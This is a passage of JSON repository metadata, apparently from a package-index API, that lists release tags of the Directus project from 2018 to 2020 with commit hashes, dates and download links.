.0-alpha.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-alpha.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-alpha.2/manifests"},{"name":"v8.7.1","sha":"0388589e0145d43d5a6af7dd04b67e55f4b2a0fc","kind":"commit","published_at":"2020-05-19T16:38:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.7.1","html_url":"https://github.com/directus/directus/releases/tag/v8.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.1/manifests"},{"name":"v8.7.0","sha":"e413cd2c463dbdba09e1b831803d01ce4e29469b","kind":"commit","published_at":"2020-05-18T21:44:31.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.7.0","html_url":"https://github.com/directus/directus/releases/tag/v8.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.7.0/manifests"},{"name":"v9-alpha.1","sha":"a786377a0ab0e2bf5594af83755d77a44d3fffe8","kind":"commit","published_at":"2020-05-15T23:08:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9-alpha.1","html_url":"https://github.com/directus/directus/releases/tag/v9-alpha.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9-alpha.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9-alpha.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9-alpha.1/manifests"},{"name":"v8.6.2","sha":"d67cfc65bf8c5b011c45319ea928c3a43cd436f8","kind":"commit","published_at":"2020-03-10T15:28:43.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.6.2","html_url":"https://github.com/directus/directus/releases/tag/v8.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.2/manifests"},{"name":"v8.6.1","sha":"bc626a17ce4c3414c82e4958326812a1cb237070","kind":"commit","published_at":"2020-03-04T18:03:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.6.1","html_url":"https://github.com/directus/directus/releases/tag/v8.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.1/manifests"},{"name":"v8.6.0","sha":"9780f20d0c97251cdfddeee1bfc1d4048a8e94ff","kind":"commit","published_at":"2020-03-03T17:15:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.6.0","html_url":"https://github.com/directus/directus/releases/tag/v8.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.6.0/manifests"},{"name":"v8.5.5","sha":"29c908595fcdb569e2e090cb1dc6ebfa5bf7b3b9","kind":"commit","published_at":"2020-02-12T15:52:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.5","html_url":"https://github.com/directus/directus/releases/tag/v8.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.5/manifests"},{"name":"v8.5.4","sha":"d6feabdfd1f0c321478ab2b77549d5a96be61164","kind":"commit","published_at":"2020-02-05T15:47:15.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.4","html_url":"https://github.com/directus/directus/releases/tag/v8.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.4/manifests"},{"name":"v8.5.3","sha":"870fe16ef3bee4cde189856fc72c333d507a53af","kind":"commit","published_at":"2020-02-04T21:15:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.3","html_url":"https://github.com/directus/directus/releases/tag/v8.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.3/manifests"},{"name":"v8.5.2","sha":"ed2c4ff3bb7e518984c8549d3050e2a905ad6185","kind":"commit","published_at":"2020-02-04T20:53:45.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.2","html_url":"https://github.com/directus/directus/releases/tag/v8.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.2/manifests"},{"name":"v8.5.1","sha":"6966c35365e05e5b3ecc251f8af0847963126d85","kind":"commit","published_at":"2020-02-04T15:14:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.1","html_url":"https://github.com/directus/directus/releases/tag/v8.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.1/manifests"},{"name":"v8.5.0","sha":"b704bf997f8ce6ff197edbb31b1e933cab2e3bff","kind":"commit","published_at":"2020-02-03T22:42:46.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.5.0","html_url":"https://github.com/directus/directus/releases/tag/v8.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.5.0/manifests"},{"name":"v8.4.0","sha":"c894e6730a20172c578457f54ad00516fdb583c9","kind":"commit","published_at":"2020-01-14T14:33:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.4.0","html_url":"https://github.com/directus/directus/releases/tag/v8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.4.0/manifests"},{"name":"v8.3.1","sha":"7c2e887643169fb3b665f1de9419bb158bd62bb9","kind":"commit","published_at":"2019-12-16T18:39:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.3.1","html_url":"https://github.com/directus/directus/releases/tag/v8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.3.1/manifests"},{"name":"v8.3.0","sha":"37ab9a24d4ae3faedb043fe207600ef2f699a42d","kind":"commit","published_at":"2019-12-12T20:13:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.3.0","html_url":"https://github.com/directus/directus/releases/tag/v8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.3.0/manifests"},{"name":"v8.2.0","sha":"d187b6b262c3585ab394b0cfdab3491cb2914a77","kind":"commit","published_at":"2019-12-09T20:17:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.2.0","html_url":"https://github.com/directus/directus/releases/tag/v8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.2.0/manifests"},{"name":"v8.1.0","sha":"171bcc34b3fa6eb8b991dc4803d786c2a7acd3be","kind":"commit","published_at":"2019-12-06T01:45:43.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.1.0","html_url":"https://github.com/directus/directus/releases/tag/v8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.1.0/manifests"},{"name":"v8.0.2","sha":"e0b3c38b6481fd95d193c5e88c5f75904517b404","kind":"commit","published_at":"2019-12-05T15:32:15.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.0.2","html_url":"https://github.com/directus/directus/releases/tag/v8.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.2/manifests"},{"name":"v8.0.1","sha":"bb85b3972ba9e1339a517fdefefebabf202741d3","kind":"commit","published_at":"2019-12-05T14:47:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.0.1","html_url":"https://github.com/directus/directus/releases/tag/v8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.1/manifests"},{"name":"v8.0.0","sha":"7a0ddbd38e44f1f2c188dfdc6840e72be5126798","kind":"commit","published_at":"2019-12-04T01:03:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.0.0","html_url":"https://github.com/directus/directus/releases/tag/v8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0/manifests"},{"name":"v8.0.0-rc.2","sha":"6802e81f75ebdaa82ccec9d20153993a07292aad","kind":"commit","published_at":"2019-11-21T17:23:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.0.0-rc.2","html_url":"https://github.com/directus/directus/releases/tag/v8.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0-rc.2/manifests"},{"name":"v8.0.0-rc.1","sha":"bc4843469d17d562330cbb13c7418afc994b6835","kind":"commit","published_at":"2019-11-13T22:32:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v8.0.0-rc.1","html_url":"https://github.com/directus/directus/releases/tag/v8.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v8.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v8.0.0-rc.1/manifests"},{"name":"190927A","sha":"a147dbed29cd59568b37e874b1715d77ac73301e","kind":"commit","published_at":"2019-09-27T13:54:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190927A","html_url":"https://github.com/directus/directus/releases/tag/190927A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190927A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190927A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190927A/manifests"},{"name":"190924A","sha":"e49e5d28f4c4506f18567db613fb0d471d8df62c","kind":"commit","published_at":"2019-09-24T13:47:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190924A","html_url":"https://github.com/directus/directus/releases/tag/190924A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190924A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190924A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190924A/manifests"},{"name":"190827A","sha":"127703994f34a1b89c11945df6bfb208b78972f2","kind":"commit","published_at":"2019-08-27T21:42:16.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190827A","html_url":"https://github.com/directus/directus/releases/tag/190827A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190827A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190827A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190827A/manifests"},{"name":"190807A","sha":"d35a9f81b3d38874ceee2b0a75989eb9afee28b0","kind":"commit","published_at":"2019-08-08T00:25:05.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190807A","html_url":"https://github.com/directus/directus/releases/tag/190807A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190807A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190807A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190807A/manifests"},{"name":"190729A","sha":"49ab0b233957b961f2d9b0a1f1e651a5d8f8007e","kind":"commit","published_at":"2019-07-29T15:42:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190729A","html_url":"https://github.com/directus/directus/releases/tag/190729A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190729A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190729A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190729A/manifests"},{"name":"190717A","sha":"509a9ef59c897624f494326ed6790543a98de42b","kind":"commit","published_at":"2019-07-17T16:59:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190717A","html_url":"https://github.com/directus/directus/releases/tag/190717A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190717A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190717A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190717A/manifests"},{"name":"190709A","sha":"a1620f18dcb55a07d8befa5721d1131ee213692b","kind":"commit","published_at":"2019-07-09T22:07:55.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190709A","html_url":"https://github.com/directus/directus/releases/tag/190709A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190709A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190709A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190709A/manifests"},{"name":"190627A","sha":"5f0b8e56347b6914fa265ef32af4dcd0bf3e8790","kind":"commit","published_at":"2019-06-27T22:28:20.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190627A","html_url":"https://github.com/directus/directus/releases/tag/190627A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190627A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190627A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190627A/manifests"},{"name":"190621A","sha":"78cce44a4a4d077bdf5bb168c38b0094d3708e93","kind":"commit","published_at":"2019-06-21T23:36:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190621A","html_url":"https://github.com/directus/directus/releases/tag/190621A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190621A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190621A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190621A/manifests"},{"name":"190607A","sha":"0a2d8307f4e43b19dfa1db48c0991c21672c28a2","kind":"commit","published_at":"2019-06-07T20:18:53.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190607A","html_url":"https://github.com/directus/directus/releases/tag/190607A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190607A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190607A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190607A/manifests"},{"name":"190521A","sha":"e15c71a617a2512bdbe010d8f22e94ce9adc81c3","kind":"commit","published_at":"2019-05-21T16:25:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190521A","html_url":"https://github.com/directus/directus/releases/tag/190521A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190521A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190521A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190521A/manifests"},{"name":"190503A","sha":"eb93d96756de9c7805ed12d249f21eabc94620b6","kind":"commit","published_at":"2019-05-03T21:12:10.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190503A","html_url":"https://github.com/directus/directus/releases/tag/190503A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190503A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190503A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190503A/manifests"},{"name":"190422A","sha":"d364658a3afff693c41f258c88b8079db9914b40","kind":"commit","published_at":"2019-04-22T21:27:47.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190422A","html_url":"https://github.com/directus/directus/releases/tag/190422A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190422A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190422A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190422A/manifests"},{"name":"190419A","sha":"c2a534e8e042a7ad1a1757cb7996b2c9fb12c863","kind":"commit","published_at":"2019-04-19T22:48:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190419A","html_url":"https://github.com/directus/directus/releases/tag/190419A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190419A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190419A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190419A/manifests"},{"name":"190325A","sha":"1d151a9034514e3f2ec1c80001e7c5fffdef2d4e","kind":"commit","published_at":"2019-03-25T21:15:34.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/190325A","html_url":"https://github.com/directus/directus/releases/tag/190325A","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@190325A","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190325A","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/190325A/manifests"},{"name":"v7.0.19","sha":"1f8d8d8f0d6a98c6265b3a40aeb5594bf4f016c5","kind":"commit","published_at":"2019-03-12T16:31:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.19","html_url":"https://github.com/directus/directus/releases/tag/v7.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.19/manifests"},{"name":"v7.0.18","sha":"af829bbd19a12b1dce491410fd620c5fd830f3a1","kind":"commit","published_at":"2019-02-18T18:18:28.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.18","html_url":"https://github.com/directus/directus/releases/tag/v7.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.18/manifests"},{"name":"v7.0.17","sha":"85de3b56e20f5134c252583a3f00a7b408302fb6","kind":"commit","published_at":"2019-02-07T19:32:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.17","html_url":"https://github.com/directus/directus/releases/tag/v7.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.17/manifests"},{"name":"v7.0.16","sha":"66d555dc980d4ca3464bbc30b5dfc0fe02fbd4a5","kind":"commit","published_at":"2019-01-28T23:16:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.16","html_url":"https://github.com/directus/directus/releases/tag/v7.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.16/manifests"},{"name":"v7.0.15","sha":"cd58d1a9d0c62a2882a143d5eb56b3ad36555249","kind":"commit","published_at":"2019-01-22T19:48:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.15","html_url":"https://github.com/directus/directus/releases/tag/v7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.15/manifests"},{"name":"v7.0.14","sha":"10a32605976edff0d17d784f5e82d22548767f7e","kind":"commit","published_at":"2019-01-12T00:11:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.14","html_url":"https://github.com/directus/directus/releases/tag/v7.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.14/manifests"},{"name":"v7.0.13","sha":"b1173d96fa05dc17be28ea87c2d9518855c7bb5b","kind":"commit","published_at":"2018-12-24T18:14:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.13","html_url":"https://github.com/directus/directus/releases/tag/v7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.13/manifests"},{"name":"v7.0.12","sha":"4c82845164b0366ceb788c16869c471f941d48fe","kind":"commit","published_at":"2018-12-19T22:35:17.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.12","html_url":"https://github.com/directus/directus/releases/tag/v7.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.12/manifests"},{"name":"v7.0.11","sha":"6f2c30591925110c214a41f4fa0fe4035d39a429","kind":"commit","published_at":"2018-12-10T00:15:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.11","html_url":"https://github.com/directus/directus/releases/tag/v7.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.11/manifests"},{"name":"v7.0.10","sha":"c3c04de84324c91a12742e66dffa8894d0c3c99b","kind":"commit","published_at":"2018-12-03T21:43:04.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.10","html_url":"https://github.com/directus/directus/releases/tag/v7.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.10/manifests"},{"name":"v7.0.9","sha":"a7c27179e9d8d1b0aba0619f3443355b45ecd155","kind":"commit","published_at":"2018-11-23T22:31:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.9","html_url":"https://github.com/directus/directus/releases/tag/v7.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v7.0.9/manifests"},{"name":"v7.0.8","sha":"f158852dffbdfe924df94aac342d473bd63a7dfb","kind":"commit","published_at":"2018-11-17T04:28:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v7.0.8","html_url":"https://github.com/directus/directus/releases/tag/v7.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v7.0.8","tag_url":"https://rep